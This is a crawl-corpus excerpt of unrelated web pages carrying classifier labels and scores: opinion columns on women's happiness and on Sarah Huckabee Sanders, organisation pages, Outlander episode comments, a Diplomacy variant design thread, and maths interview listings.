__label__wiki	0.780938	0.780938	Lauren ( de_wood) wrote in ontd_political, de_wood Does freedom make women unhappy? Liberated and Unhappy American women are wealthier, healthier and better educated than they were 30 years ago. They’re more likely to work outside the home, and more likely to earn salaries comparable to men’s when they do. They can leave abusive marriages and sue sexist employers. They enjoy unprecedented control over their own fertility. On some fronts — graduation rates, life expectancy and even job security — men look increasingly like the second sex. But all the achievements of the feminist era may have delivered women to greater unhappiness. In the 1960s, when Betty Friedan diagnosed her fellow wives and daughters as the victims of “the problem with no name,” American women reported themselves happier, on average, than did men. Today, that gender gap has reversed. Male happiness has inched up, and female happiness has dropped. In postfeminist America, men are happier than women. This is “The Paradox of Declining Female Happiness,” the subject of a provocative paper from the economists Betsey Stevenson and Justin Wolfers. The paper is fascinating not only because of what it shows, but because the authors deliberately avoid floating an easy explanation for their data. The decline of the two-parent family, for instance, is almost certainly depressing life satisfaction for the women stuck raising kids alone. But this can’t be the only explanation, since the trend toward greater female discontent cuts across lines of class and race. A working-class Hispanic woman is far more likely to be a single mother than her white and wealthy counterpart, yet the male-female happiness gap holds in East Hampton and East L.A. alike. Again, maybe the happiness numbers are being tipped downward by a mounting female workload — the famous “second shift,” in which women continue to do the lion’s share of household chores even as they’re handed more and more workplace responsibility. It’s certainly possible — but as Wolfers and Stevenson point out, recent surveys actually show similar workload patterns for men and women over all. Or perhaps the problem is political — maybe women prefer egalitarian, low-risk societies, and the cowboy capitalism of the Reagan era had an anxiety-inducing effect on the American female. But even in the warm, nurturing, egalitarian European Union, female happiness has fallen relative to men’s across the last three decades. All this ambiguity lends itself to broad-brush readings. A strict feminist and a stringent gender-role traditionalist alike will probably find vindication of their premises between the lines of Wolfers and Stevenson’s careful prose. The feminist will see evidence of a revolution interrupted, in which rising expectations are bumping against glass ceilings, breeding entirely justified resentments. The traditionalist will see evidence of a revolution gone awry, in which women have been pressured into lifestyles that run counter to their biological imperatives, and men have been liberated to embrace a piggish irresponsibility. There’s evidence to fit each of these narratives. But there’s also room for both. Feminists and traditionalists should be able to agree, for instance, that the structures of American society don’t make enough allowances for the particular challenges of motherhood. We can squabble forever about the choices that mothers ought to make, but the difficult work-parenthood juggle is here to stay. (Just ask Sarah and Todd Palin.) And there are all kinds of ways — from a more family-friendly tax code to a more accommodating educational system — that public policy can make that juggle easier. Conservatives and liberals won’t agree on the means, but they ought to agree on the end: a nation where it’s easier to balance work and child-rearing, however you think that balance should be struck. They should also be able to agree that the steady advance of single motherhood threatens the interests and happiness of women. Here the public-policy options are limited; some kind of social stigma is a necessity. But a new-model stigma shouldn’t (and couldn’t) look like the old sexism. There’s no necessary reason why feminists and cultural conservatives can’t join forces — in the same way that they made common cause during the pornography wars of the 1980s — behind a social revolution that ostracizes serial baby-daddies and trophy-wife collectors as thoroughly as the “fallen women” of a more patriarchal age. No reason, of course, save the fact that contemporary America doesn’t seem willing to accept sexual stigma, period. We simply don’t have the stomach for permanently ostracizing the sexually irresponsible — be they a pregnant starlet, a thrice-divorced tycoon, or even a prostitute-hiring politician. In this sense, ours is a kinder, gentler, more forgiving country than it was 40 years ago. But for half the public, it’s an unhappier country as well.	cc/2020-05/en_middle_0032.json.gz/line8068
__label__cc	0.554822	0.445178	What’s new in Open Shelf: September 2018 This issue continues the conversation we started in July about race. We also share two articles about innovative community-inspired programming as well as a new column that celebrates the work and experiences of colleagues across the province. Here are the articles and commentaries in this issue, in the order that they appear: In July, Todd Kyle wrote his second column for Safe Spaces, a column that has engaged our readers and resulted in two letters to the editor, which we are publishing a column we call Hear to listen … Ici et tout ouïe. In From the editor, Transformative conversations reflects the Open Shelf editorial team’s thinking about this issue and how decision making can support what Philomena Essed has called the 5 Rs of racism. culture@work marks our new collaboration with the OLA Cultural Diversity and Inclusion Task Force. This first column features Mandissa Arlain, a library technician at Ryerson University Library and Archives. In his regular column, Open for all?, John Pateman also reflects upon the issue of race and its impact on libraries as accessible, respectful and inclusive spaces. Finally, our two feature articles highlight innovative community-responsive programming. In The Spark: Community-led initiatives at the Brockville Public Library, Brandy Smith shares three programs that were sparked by ideas from community members while Richard Anderson and Janice Chuang share their adventures with creating virtual reality programming in Sharks, dinosaurs, outer space and more. As always, we hope you find Open Shelf interesting and engaging. What’s New in Open Shelf: January 15, 2017 What’s New in Open Shelf? is a Table of Contents of sorts. Open Shelf publishes… What’s New in Open Shelf: April 1, 2015 What’s New in Open Shelf: October 1, 2016	cc/2020-05/en_middle_0032.json.gz/line8069
__label__cc	0.705416	0.294584	Members & Advisors OPWG Annual Meetings Native vs. Invasive Pathways of Spread Webinars & Media Rondeau Bay Phragmites Control Program Long Point Phragmites Control Program Membership to the OPWG is free, although annual membership dues to the OIPC are requested. The OPWG has two types of memberships, non-voting and voting. Non-voting members have opted to be involved in an advisory capacity, but may participate on sub-committees and assist with action items. Voting members will have an opportunity to vote on items according to the guidelines in our Terms of Reference. They are also able to participate on sub-committees and assist with action items. What is the Role of voting members? Be knowledgeable about invasive Phragmites and its impacts and/or management Actively provide support and direction regarding governance, funding, projects and activities of the OPWG Identify and bring forth new issues and opportunities Respond to critical issues as necessary, in a timely matter Respect the needs of the other sectors, as well as the general public interests, and work towards consensus in group business Identify the need for committees Monitor the success of the OPWG initiatives Represent the range of ideas and concerns from members within their sector What is the role of non-voting (advisory) members? Non-voting members are representatives from key provincial and/or federal government sectors, as well as others who have demonstrated leadership but would prefer to play an advisory role. As members, they are expected to fulfill the role and abide by the standards that are described above. Non-voting members do not have voting rights, in order to avoid what could be seen as conflicts of interest. Organizations that are represented within the OPWG: Members and Partners Interested in becoming a member or an advisory member? Please email info@oninvasives.ca The Ontario Phragmites Working Group The Ontario Phragmites Working Group (OPWG) is composed of dedicated people with an interest in working together to facilitate effective management of invasive Phragmites in Ontario. This initiative is aimed at reducing the current threats posed by this aggressive invasive plant to biodiversity and Species at Risk (SAR) through habitat protection and restoration. Ontario Phragmites Working Group 380 Armour Road, Unit 210, Email: info@OnInvasives.ca © 2020 OIPC Mobile Friendly Site design by PMD	cc/2020-05/en_middle_0032.json.gz/line8076
__label__cc	0.604015	0.395985	Supreme Court justices campaign to stay on bench Posted at 2:29 am August 6, 2014 By John Huotari Leave a Comment Tennessee Supreme Court Chief Justice Gary Wade, right, talks to reporters during a campaign stop at Razzleberry’s Ice Cream Lab and Kitchen on Thursday. Also pictured is Oak Ridge Mayor Tom Beehan. In most elections, voters don’t pay much attention to the retention elections for judges. This year, though, the decision on whether to keep three of the five Tennessee Supreme Court justices on the bench is one of the most closely watched races in the state. More than $1 million has already been spent. The three judges facing retention elections this Thursday—Chief Justice Gary Wade and Justices Sharon Lee and Cornelia Clark—were in Oak Ridge last Thursday trying to convince local voters to let them keep their jobs for another eight years. Appointed by former Governor Phil Bredesen, the justices said they’re fighting out-of-state money and inaccurate portrayals of their work. They’re battling back against what they consider an attempt to introduce partisan politics into the courtroom. “Partisan politics has no role in courts of law,” Wade said. “We want to preserve fair and impartial courts,” Lee said. “When you put politics in the courtroom, you push the Constitution out.” [Read more…] Filed Under: 2014 Election, Government, Slider, State, Tennessee, Top Stories Tagged With: Affordable Care Act, AFP, Americans for Prosperity, Beth Harwell, Bob Cooper, campaign, Charles Koch, chief justice, Constitution, Cornelia Clark, courtroom, David Koch, fair and impartial, Gary Wade, judges, Judicial Performance Evaluation Commission, justices, Obamacare, partisan politics, Penny White, Razzleberry’s, retention election, Riley Anderson, Ron Ramsey, Sharon Lee, Tennessee Bar Association, Tennessee Forum, Tennessee Supreme Court	cc/2020-05/en_middle_0032.json.gz/line8078
__label__cc	0.703604	0.296396	Outdoors Victoria (OV) is the peak body for all Outdoor activities in Victoria. We exist to support the Outdoors Community, to advocate the benefits of outdoor activity to the broader community. Our purpose is to build a valued and sustainable outdoor sector for the benefit of the community and natural environment by enhancing, connecting, and advocating on behalf of outdoor education, outdoor recreation, outdoor therapy and nature based tourism. We provide advocacy to all levels of government on behalf of the Outdoors Sector, often in collaboration with other peak bodies and associations. Outdoor Providers and Camps Subcommittee This subcommittee includes a number of large and medium-sized businesses across the Outdoor Provider and Camps (OP&C) industry in Victoria. It functions as a reference point for the CEO and OV Board into the OP&C sector, to inform their work in advocating for, and supporting the Outdoors industry in Victoria. The current Chair of the Subcommittee is OV board member, Anthony Hall. Coordination & Delivery The annual Education Outdoors Conference is our major event for the year. Through this event , and the deliverance of a professional learning series we provide important educational and networking opportunities for the outdoor learning sector. Showcasing Outdoor Career Pathways In 2018 in partnership with Victoria University, we launched the first ‘Careers in the Outdoors Day’ for Victorian school students. Resources for the Outdoor Sector We provide resource for the outdoors learning sector on a range of issues and initiatives through our help desk service to members and our monthly newsletter. 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OV Documents Full list of OV Documents Andrew Knight joined Outdoors Victoria in 2016 with a passion for the outdoors reaching right back to his time in Cubs and Scouts, learning how to live in the bush, snow and on water, while having fun with friends and family. Andrew spent 10 years as an active patrol member of the Lorne Surf Life Saving Club and was Patrol Captain for many of those years. Andrew has extensive management experience in the automotive, Fast Moving Consumer Goods (FMCG), and retail sectors working in Australia, the UK and USA. More recently Andrew has done important work in national roles for Not for Profits in the areas of fresh food rescue and community finance. He formed shared-value partnerships with a number of Australia’s largest corporates and governments, to generate positive outcomes for the Australian community. Andrew is skilled at bringing together complex groups, identifying common ground and then achieving the best results for the community. Married with two children, Andrew’s family frequently get away in their caravan to explore the staggering array of landscapes and activities Victoria has to offer. As OV’s CEO, Andrew enjoys meeting and working closely with Victoria’s Outdoor Education, Recreation, Therapy and Nature Based Tourism organisations. Robyn Allan Robyn began working with OV in early 2014 & has co-ordinated 5 Education Outdoors conferences. She looks after a lot of the daily running of the OV office from database, website and digital communications. She previously worked for 3 years at The Australian Conservation Foundation (ACF) and has a deep love of the outdoors and a belief that conscious connection to the outdoors is essential for everyone’s mental health. Maddy Willcock Nature Stewards Project Co ordinator Maddy Willcock can frequently be found in her preferred natural habitat, the great outdoors, camping, relaxing, and probably checking out any local volcanoes. Childhood family and scouting adventures ignited a great respect, love, and spiritual connection with the natural environment. Supporting others with their connection with the environment, is a key passion. Maddy has continued to explore and learn in the great outdoors through her career in geological field research and STEM education program development, and in her training in land management and art therapy.” Dave Hagel Dave has a lifelong passion for the outdoors and a broad background in Outdoor Education and Recreation. Dave feels privileged to have worked in the outdoor sector for over 14 years across a wide variety of activities, roles and organisations. More recently Dave can be found embracing winter twice a year ski instructing and guiding in Australia and Japan. (Yes we are all jealous) Dave told us that if he had a magical superpower it would be to shoot spaghetti a great distance out of his fingertips at will!	cc/2020-05/en_middle_0032.json.gz/line8089
__label__cc	0.53243	0.46757	Outlander Online Your #1 Source For All Things Outlander UHQ Episode Screencaps UHQ Stills Per Season Season 4 Master Post Discussion Post: Outlander Episode 4×12 “Providence” – Come Discuss With Us! SPOILER WARNING 17 comments We made this post for those of you who have already seen the episode and want to discuss it. What did you guys think of the episode? What was your favorite scene? We’d love to hear from you guys. Let us know in the comments! Since we try to keep our twitter and Facebook spoiler free for those who haven’t seen the episode yet, we created a post where people can discuss the new episode. So feel free to discuss away in the comments! *For those who haven’t seen the episode the comments will contain spoilers* Posted January 20, 2019 by justfp in Drums of Autumn, Outlander, Season 4 Tagged with 4x12 Providence, Drums of Autumn, Outlander, Season 4 « NEW Pic of Caitriona Balfe New Promo Stills For Episode 4×12 of Outlander “Providence” » 17 responses to “Discussion Post: Outlander Episode 4×12 “Providence” – Come Discuss With Us! SPOILER WARNING” I thought it was an overall great episode in itself. Of course the most amazing part was in the Native’s village. The settlement, kudos to Jin Gary Steele, was just stunning in all its details. The costumes by Terry Dresbach again exceeded my expectations. BUT the most awesome, thrilling part was Richard Rankin’s performance. I literally cried the first time after “Faith” in season two. Wow. (@bearmcreary was the last music sequence related to Platoon?) it really tore my heart out. There’s still so much to put into the last episode. So I hope they will show us an extended version. Platoon used the Adagio for strings, composed by Samuel Barber. I thought too it was brilliant to include this piece at a very tragic moment. I saw there a second interpretation, because this piece was adapted by the same Barber as an Agnus Dei ( Lamb of God) which reflects perfectly Fr. Alexander personal situation, feeling himself as a sinner, asking for the mercy of God. No doubt, this show is having a lot of detail and it’s aesthetics is amazing. Judy Rasey I saw the episode and really liked it. Richard performance was brillant. But I didn’t like the fact that they left out Jamie and Claire again. it is their story and the rest is secondary. There aren’t enough episodes to fit all in and they’ve chosen to tell us things we don’t care much about. Maybe they intend to continue OL with R&B? I don’t like that idea, as it isn’t the purpose of the show from the beginning. Starz is doing a fine job but some mistakes are paid dearly and I don’t think Outlander fandom would like a show without J&C, I know I wouldn’t. Besides this, I loved Cesar’s performance too, and the settlements.All the actors were excellent and the story well told…except they didn’t tell us about our favourite characters. They have to think hard what they are going to do next season…as it would be a shame to lose OL because of someone’s mistaken ideas…Thank you. Well, the story for Drums of Autumn includes Roger & Bree’s story, and we hadn’t seen very much of Roger up ’til now (very little screen-time, in fact!) so the story needed to be about him, to catch up before season’s end. Sorry if you are missing J&C but the story really is about the whole family now, not just them, so the show should reflect that. Lesley Bonarius I love the whole episode, especially how we are seeing what in the books are suggested. My favorite scene was the tragic ending with that adagio music, that per se tells the audience the heartbreaking moment we are seeing. All I can say to s bravo 👏 great season! Richard Rankin did an amazing job in this episode! The ending was truly breathtaking! Kudos to all for another amazing episode! Rae Volpe I agree with Helena to a certain degree. The books continue to become larger each time and unfortunately with only 13 episodes compromises and losses must be made. I can’t say I have been overly pleased with this season. I too wish to see J&C more often. I feel the quality of the show has been compromised due to lack of enough episodes and will continue to due so because of 1400 page books and only 13 episodes. I know the writers are sticking to issues which are organic to the story line. I just feel “cheated” in some regard and fear this feeling will continue through continued seasons. On a lighter note, the acting continues to be top of the line, all are doing an awesome job! I feel that this has been one of the strongest season since the first season. I know ones are upset because they want to see Jamie and Clair but if this season upsets you by not seeing Jamie and Clair book #8 WIMOHB must have really been a bummer for you. Bree and Roger have to have their story to just as Jamie and Clair did in OUTLANDER. This season has been wonderful for both couples and next season, The Firery Cross will feature all you want of Jamie and Clair. Rather late in commenting I’m afraid. I did enjoy the episode very much I thought it had pace and heatbreaking scenes in the Mohawk village however the scene where Rollo finds the remains was for me a bit amateurish. For fear of being shot down in flames I personally do not think it was a good thing to bring Murtagh back. Although I loved his character in Seasons 1 & 2 I feel that he should have been left on Culloden Field where he died. The story has enough content without fabricating a storyline for Murtagh. I do not think his character adds anything but does take time from other more pertinent aspects of the story which have been left out. We could have seen more of Jamie and Claire. Wow, what a show! I watched it at 1 AM when it was available on demand, but was too emotional to come on line to comment. I watched again this morning, paying more attention to the costumes, props, music, etc…. and I cried just as much maybe more the 2nd time. Overall, I loved it, but I do have a short list of grievances keeping it from being my absolute fav episode this season. I will state them upfront and then get on with all the goodness: • No J&C, that’s never a good thing! • I worry there isnt time for J/C/B reunion, Jems birth and Roger’s return, & Ian’s tattoos until season 5, I dont see how all that can be achieve in one episode. I wish we had 16 episodes like season 1 so we could fit in all of it. I hope the rumor is that season 5 and 6 are only 12 episodes in length isnt true! However, that said, I thoroughly enjoyed every slip of this weeks show. I loved that they worked in a lot of the Indian story content which made DOA my fav book. i do love the gauntlet, the indians use to determine what the man is made of. I thought the camp, the huts, the Indian attire were all beautiful; set, costume, everything perfect, as usual. I love Roger’s physical transformation… his bruises and cuts are healing, but he looks gaunt and defeated. The ending with only music and no other sound (like episode 1) was amazing. I am so happy you included Father Alexander and the Indian woman’s love story, and as sad as that part was, It was really, really well done. I loved that Roger started to break, that he started to feel like he had to make self-preservation his priority, but that even though he was aware his actions would cost him even more, he couldnt help himself from giving up his escape to end his friends suffering and let him die quickly. I thought Rik Rankin did an amazing job in this episode. And it is clear that this whole event will influence Roger’s character and future, as it was meant to in the book. I have hated the internets/non-readers dislike of Roger’s character this season, and hope they will all see the man and character that he really is now, based off this episode. Also loved the other half of the story going down at the same time in Wilmington. Loved and laughed when Fergus changed the “What would Jesus Do?” to “What would Jamie do?” Very funny, very true. I have really missed both Fergus and Marsali not having much of a presence in S4, it was refreshing to see them integral to this episode. Loved every scene with David Berry, no surprise, always do. Loved LJG comment, “The baby is expected. Memories are not, they simply come”. Loved Bree’s comment to LJG, “You are impossible not to like”. Yeah, duh! I love that Murtagh and Fergus and Marsali will finally be going to the Ridge. Sounds like they will all be more prominent next season. i hope Murtaghs character has long enough legs to fight side by side with Jamie and Gen Washington, and maybe even some spying on B. Arnold? Hmmm, so many possibilities. The preview for next week reveals that Ottertooth’s tale will be included in S4. This also pleases me considerably. I think it is central to the Outlander theme, and the parallels drawn between British/Scotland versus Americans/Native Indian Nation is fascinating. The loss of a whole culture in both cases were so devastating, and im glad the show will see the point that the time travelers (be it Gillian/Claire or Otter Tooth) were unable to change the major events to preserve the lost cultures. Loved everything about it. Thank you for delivering another great episode ! Laura I am wondering what the relationship is Kaerthon and Johieon? Is he her brother? Or something else? Clearly he loves her. jneeg This was a great episode and the ending was epic! Poor Rodger headed back to the idiot hut! Wonderful episode. Richard Rankin has a stellar performance here. David Berry as LJG never disappoints and SS (Bree) grows stronger in her performance each episode. The characters Murtaugh, Fergus, Bonnet and Marsali; what can I say, but simply great. With all that said, I missed J&C because for me, they are Outlander but I can see why. I do want to say, remember Murtaugh did not survive Culloden and because so many fans called for his return (which writers did for fans) things had to be changed up. The writers have done great job giving us watchers what we asked for as well as so very much more. This episode left me wanting it to go on and on. I will say again that I loved this episode (kudos to all actors and writers) and anticipate 13 to see how all is wrapped up. Fabulous Episode. Gary Steele did an amazing job creating the Mohawk village and once again Terry Dresbach has created beautiful costuming. The music as always is amazing. Great acting all around but Richard Rankin shines most in this episode. I was so pleased that they included the Father Alexander story and stayed so true to the book. The ending with the Indian healer kissing her baby and climbing up the pyre to embrace her lover was both horrifying and beautiful. My husband could not wrap his head around her leaving her baby behind. What mother would do that? The emotion was powerful and beautifully played. Loved the interaction between Fergus and Marsali and how she supports him in his plan to free Murtagh. It is so important to develop these characters who are integral to the Fraser family as they will be with us throughout the future seasons and we must take the time to know and care about them. Same with Roger and Bree and Lord John. These characters are permanent and deserve the screen time they are getting. In essence, Jamie and Claire are there by extension. Fergus asking what would M’Lord do? Marsali replying that they would find a way as they will and do. They are very much influenced by the example of Jamie and Claire. Lord John is there as an extension of Jamie to protect Bree and Bree is showing the strength of character and courage of both her parents. Jamie is there in his letter to Bree which she acts upon. The confrontation with Stephen Bonnet was very close to the book and well done. Sophie Skelton has really grown into the role of Bree and I expect that she will continue to grow in future seasons. Bree was not a character easily loved in the books until she was put to the test with the challenges in the 18th century. Like Roger, she is transformed, but in her core she is still the same. Clearly they are not going to end DOA at the same place as it ends in the book, but I am certain that it will end in a logical place, hopefully with the entire family coming together on Fraser’s Ridge with a new baby added to the mix. The rest can be folded into Season 5 easily. Kathy VW Sam Heughan did drop the hint early on that Season 5 would most likely start with the Clan Gathering that would have ended Season 4. Season 4 had so much to cover and still yet to do. Season 4 has been stellar, just as I knew it would. All the actors were brilliant and so authentic. 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__label__wiki	0.550513	0.550513	Board index ‹ Games ‹ Play-by-Forum Dip ‹ PbF Variant Development Modern Extended Diplomacy - Design Thread This is the place for games which are currently being created and developed, and where the designer is listening to feedback from other players. The game is not ready to play, and the designers are not looking for sign-ups - indeed, they may have no intention of GMing the game themselves when it is finished. But your input is welcome! Despite repeated requests, designers are still regularly posting maps of several hundred Kb size. All maps should be under 80Kb and preferable 50-60 maximum. Unless you have prior permission, any larger map will be removed without warning. 67 posts • Page 7 of 7 • 1 ... 3, 4, 5, 6, 7 Re: Modern Extended Diplomacy - Design Thread by NoPunIn10Did » 27 Jul 2017, 17:27 joe91 wrote: Yeah, that's a decent idea. That particular blue is a bit too contrasting but I've updated the map with a new shade of blue for the rivers. That looks better! It would still help to be able to more clearly see the endpoints (and how rivers connect to other regions). The only other thing is the river abbreviations; the western rivers are particularly hard to read. It might work better to switch their color based on the background. So while they're in dark territories, use white text. While they're in lighter territories, use the dark blue text. Lead Volunteer Developer & Forum Admin Variant GM & Designer Saga of the Nine - Archived Chesspolitik - Archived РАСПАД (Dissolution) - Archived 1812 Overture - Archived The Two Towers - Archived NoPunIn10Did by joe92 » 27 Jul 2017, 17:56 nopunin10did wrote: The only other thing is the river abbreviations; the western rivers are particularly hard to read. It might work better to switch their color based on the background. So while they're in dark territories, use white text. While they're in lighter territories, use the dark blue text. Yeah I will probably do something like that during the game. Funnily though, it's not the dark colour that makes it hard to read per se. It's the contrast between the other colours. I filled in all of Europe with Germany's grey and it was easy to read, France's blue was the same, Poland the same. In fact, as long as the same colour surrounds the rivers it's easy to read for all the countries. I don't know why that is. Some sort of visual effect happening in our brains perhaps? Designer: Emergence, Modern Extended GM'ing: Nothing Platinum Classicist Location: Leeds, GB by nanooktheeskimo » 27 Jul 2017, 18:36 joe92 wrote: It's because of the way they contrast. When you put, say, teal on a completely red background, its legible. But when half the background is red and half is white, the teal on red is barely legible if it is at all. It's because of how we create expectations that what we see will continue, and when it doesn't, it makes it harder to see (even if it's fine in isolation). Couldn't tell you all the science behind it, just that it works like that (h/t lordelindel) I am your (co-) Leader. GM of WitA 7, WitA 8. Come play face to face! Need a forum game GM'ed? PM me! Mod (but I'm normally not talking as one) nanooktheeskimo Location: East TN Ha, interesting! Fickle things our brains... by joe92 » 14 Dec 2018, 01:41 The map has been updated. I will write up a post explaining the changes at a later date as it's almost midnight and I'm exhausted. In the meantime feel free to check it out and give any thoughts. Unlike the previous redraw I managed to get this done very quickly. A couple of hours on Tuesday evening and all of yesterday evening. Not having to reskin a map takes a lot of time out of the work! The changes made have come about because of issues that have appeared in game's 1 and 2. The AAR of game 2 brought up a lot of opinion from players which I've taken into account as well as using my own judgement from watching the game unfold. Main changes: West Africa removed as a player, Guinea and Nigeria added instead East Africa renamed to Ethiopia and main territory split in 2 France starts as a 5-power centre Britain starting units changed to all fleets Murmansk SC moved to Karelia, Russian unit for Rostov-on-Don starts in Volga and Lapland removed Mashad SC moved to Isfahan and boundary changes within Iran Benin and Central African Republic removed as SC's, Cameroon and Oman added Cape rules tweaked By far the biggest change on the map is removing West Africa and replacing it with Guinea and Nigeria. This turns the map into a 15-player game. I was extremely hesitant to do this as 14 players seems perfect (it's 2 diplomacy boards!), but in the end I felt the West African hegemony needed to be resolved. West Africa being the only power in the south west was in both games able to sit in that corner and grow without much worry of being attacked other than from what was above. Now, with their being 2 powers there will be less certainty in that region. It has also introduced 3 triangles of power into Africa between the 5 different countries. Both Guinea and Nigeria start with 3 centres and an additional Production Supply Centre. Guinea has Sierra Leone and Nigeria has Cameroon. East Africa Becomes Ethiopia OK, I know the span of territory is far greater than the country of Ethiopia, but I just didn't want to have only 1 power not named after a country. Ethiopia was also split into 2 to give it more power by not having to bounce in Sudan in the opening year, or at least not have to be worried about that bounce. France Starts With 5 One of the biggest problems in this game has been the lack of balance for France. Even after the first round of modifications to the map I tried to increase the power for France, but it didn't work. I have thus increased the power of France considerably by making it a power which starts with 5 centres, meaning there are now 3 powers which start with 5 centres. For France, Bordeaux has been added as a supply centre. To avoid Spain being eaten alive, France will start with a fleet in Bordeaux and an army in Marseilles. Britain Starting With All Fleets Britain will feel the effect of France starting with 2 fleets on it's west coast, so thus Britain now starts with fleets in all home supply centres. There is no reason to handicap Britain by making it start with an army. Changes to Russia Russia was made far too weak in the first change. This has now been rectified. Murmansk SC has moved to Karelia and to eliminate unnecessary deadspace Lapland has been removed as a territory. In addition to this, the starting unit for Rostov-on-Don will start in Volga. The SC stays where it is, but since Russia has no other supply centres which are guaranteed in the first year, it now has Kazakhstan. Changes to Iran Iran has been jigged around ever so slightly to accommodate the fact it can no longer guarantee Kazakhstan. Mashhad has been removed as a territory and it's SC moved to Isfahan. Isfahan no longer borders Iraq as Ilam now borders Busheur. Zahedan has acquired the space which Mashhad used to occupy. Busheur has been changed to start with an army to encourage a bounce in Iraq. Iran can now only guarantee Kuwait in the opening year but starts with enough armies to compensate for this. Supply Centre Changes Benin and Central African Republic were removed as SC's as the creation of Guinea and Nigeria added more than enough SC's to the African continent. Cameroon was added as a Production Supply Centre for Nigeria. Oman was added as a supply centre equidistant between Iran and Ethiopia. There are now 97 SC's on the board, however the victory conditions of 40 will remain unchanged. Travel around the cape now includes the South Atlantic Ocean. The rules of travel have been tweaked to be very similar to the "Suez rules" of 1900. A fleet travelling from SAO/GoG arrives in the Indian Ocean with full strength. A fleet travelling from IND arrives with half strength. This is to balance out somewhat the fact that a fleet in IND has 2 options to move to. I honestly have no idea. I don't have much free time anymore and I cannot take on the task of GM'ing this without knowing I'll be able to deliver on the deadlines. I'm in the process of getting licensed to start a nanobrewery, still have the report software going on, am trying to buy my first house and am planning for a wedding. Thus free time is hard to come by atm. If another GM wants to run this they are more than welcome to. The map is created in GIMP with all the units layered up per power which makes it very easy to move units around and add/delete units. It takes me roughly 40 minutes to adjudicate this map once all neutrals have been taken. I can write up a guide on how to GM in GIMP if required. by Antigonos » 10 Jan 2019, 03:18 I have not been doing any playing recently but hope I am well enough for a game in the spring. I have started looking the changes over. Can I sign up for the Spring game? Antigonos Classicists Platinum, Oldies & soldier in Cavalry to the rescue Samnites 3 draw Ad Arma Prussia draw Ambition & Empire USSR in 3 draw Blitzkrieg[ England solo Renaissance Germany in 6 draw World Influence Athens 4 draw Greek City States Zaire solo Africa Iran 3 draw ModEX II Return to PbF Variant Development	cc/2020-05/en_middle_0032.json.gz/line8111
__label__wiki	0.633436	0.633436	And who chooses the winners? What's the point of the Fields Medal and other maths prizes? Who decides who gets one? And when will we have the first female medallist? Rachel talks to László Lovász, current president of the International Mathematical Union (IMU), Martin Grötschel, the IMU's secretary, and Ragni Piene, the new chair of the Abel Prize committee about all this and more. Interview with Simon Singh at ICM 2010 We talk to Simon Singh, winner of the Leelavati Prize for public outreach in maths, at the International Congress of Mathematicians 2010. Interview with Brendan Mackay about the debunking of the bible code We talk to Brendan Mackay, who spoke at the ICM, about how he debunked the bible codes. Interview with Stas Smirnov We were lucky enough to interview Stas Smirnov at the ICM in Hyderabad, India. As well as being very pleased at winning the Fields Medal and being recognised by his colleagues, Stas reminded us that mathematicians don't do research to win medals. They do it because of curiosity and he personally can't wait to get back to his theorems. Interview with Cédric Villani Here's the full and uncut version of our interview with Fields Medallist Cédric Villani. We'll publish a slightly more polished version when we get the time, with more explanations, but thought you'd like the chance to listen to the whole thing. How to protect your privacy By cleverly cross-referencing different databases it can be possible for evil adversaries to reveal intimate information about individuals. Given that it's hard these days to keep your details off these databases, what can be done to protect privacy? We talk to Cynthia Dwork from Microsoft, whose talk at the ICM showcases some mathematical tools to keep our details safe. Complex dining: day 2 at ICM We're at the massive conference dinner, talking to Alex Bellos, author of best-selling popular maths book Alex's adventures in numberland, mathematician Colva Roney-Dougal, other delegates and ourselves. End of a long but exciting day at the ICM... A very tired Marianne and Rachel discuss the atmosphere at the first day of the ICM when the Fields medals were awarded...	cc/2020-05/en_middle_0032.json.gz/line8112
__label__wiki	0.905096	0.905096	Sarah Huckabee Sanders guide to refusing service: Christian baker can, Red Hen can't White House press secretary Sarah Huckabee Sanders listens to a question during the daily press briefing at the White House, Monday, June 4, 2018, in Washington. Sanders discussed, Trump's pardon powers, EPA Administrator Scott Pruitt, and other topics. (AP Photo/Andrew Harnik) By Joshuan Rivera, USA TODAY Nineteen days after the Supreme Court issued a ruling sympathetic to a Colorado baker who refused to bake a cake for a same-sex wedding, White House Press Secretary Sarah Huckabee Sanders decided to blast a local Virginia restaurant on her official, government-owned Twitter account because it refused her service. Sad. Let’s unpack this, shall we? The Supreme Court ruled 7-2 that Colorado authorities "showed impermissible hostility toward the sincere religious beliefs" motivating the baker. This is what Sanders said during a White House briefing: “We were pleased with the Supreme Court’s decision. The First Amendment prohibits government from discriminating against the basis of religious beliefs, and the Supreme Court rightly concluded that the Colorado Civil Rights Commission failed to show tolerance and respect for his religious beliefs. In this case and others, the Department of Justice will continue to vigorously defend the free speech and religious freedom First Amendment rights.” Official tweet was ethicsviolation I’m not going to call her a hypocrite on the First Amendment, she did say she “politely” left the restaurant when asked. Kudos to her. She did, however, decide to tweet about it in her official capacity. Let me rephrase. She criticized a private business from the Twitter account @PressSec, which has more than 3 million followers. (I can only imagine the response from Republicans if President Barack Obama's press secretary Josh Earnest had done that.) This is important to highlight because Sanders does have a personal account: @SarahHuckabee. So her action appears to have been deliberate. And if it weren’t, it was stupid, and I really don’t know which is worse. Beyond that, a former head of the Office of Government Ethics, Walter Shaub, says Sanders' tweet violated ethics rules. I understand Sanders’ frustration. I, too, have been asked to leave establishments. Not because of working for the Trump administration — a protected class among Republicans — but because I was standing too close to another guy. But hey, you know, being a Republican is hard nowadays. Having to explain a complete change in platform, having to scramble for rationales to support the horrible policies your boss has in place, crushing all those lies for the “perfect smokey eye,” I get it. And let’s not even go into dating! Trump staffers reportedly are being “discriminated” against in that arena, too. Let’s move on to the superiority complex that has plagued the Republican Party — a party I was a fan of up until 2016. As he should, Sanders’ father, former Arkansas Gov. Mike Huckabee, came to her defense. “Bigotry. On the menu at Red Hen Restaurant in Lexington VA. Or you can ask for the ‘Hate Plate’. And appetizers are ‘small plates for small minds,’” he tweeted. This from the same guy who just a few hours earlier tweeted a racist taunt at House Democratic leader Nancy Pelosi. GOP can blame its own hypocrisy I fear the division is no longer between liberals vs. conservatives. No self-respecting conservative would endorse half the things the GOP is doing. The division is now Republicans and everyone else. If you’re not for them, you’re against them. But who knows what they’re for at any given moment? The Republican platform now comes with its own alert notification to whatever the president last tweeted. It’s all so disgustingly hypocritical (from both sides) that those of us who don’t ascribe to either of the main political parties are worried we won’t have enough painkillers for Republicans who are bending over backwards to serve their party over the country. I’m sorry Sanders was asked to leave a restaurant — that is an embarrassing moment for anyone. But she (and all Republicans) must realize that her constant hypocrisy and her decision to use a government account to call out the “injustice” are the exact reasons why she was asked to leave in the first place. Those are two things she has control over, unlike two gay people who just want to get married. Politics - U.S. Daily News: Sarah 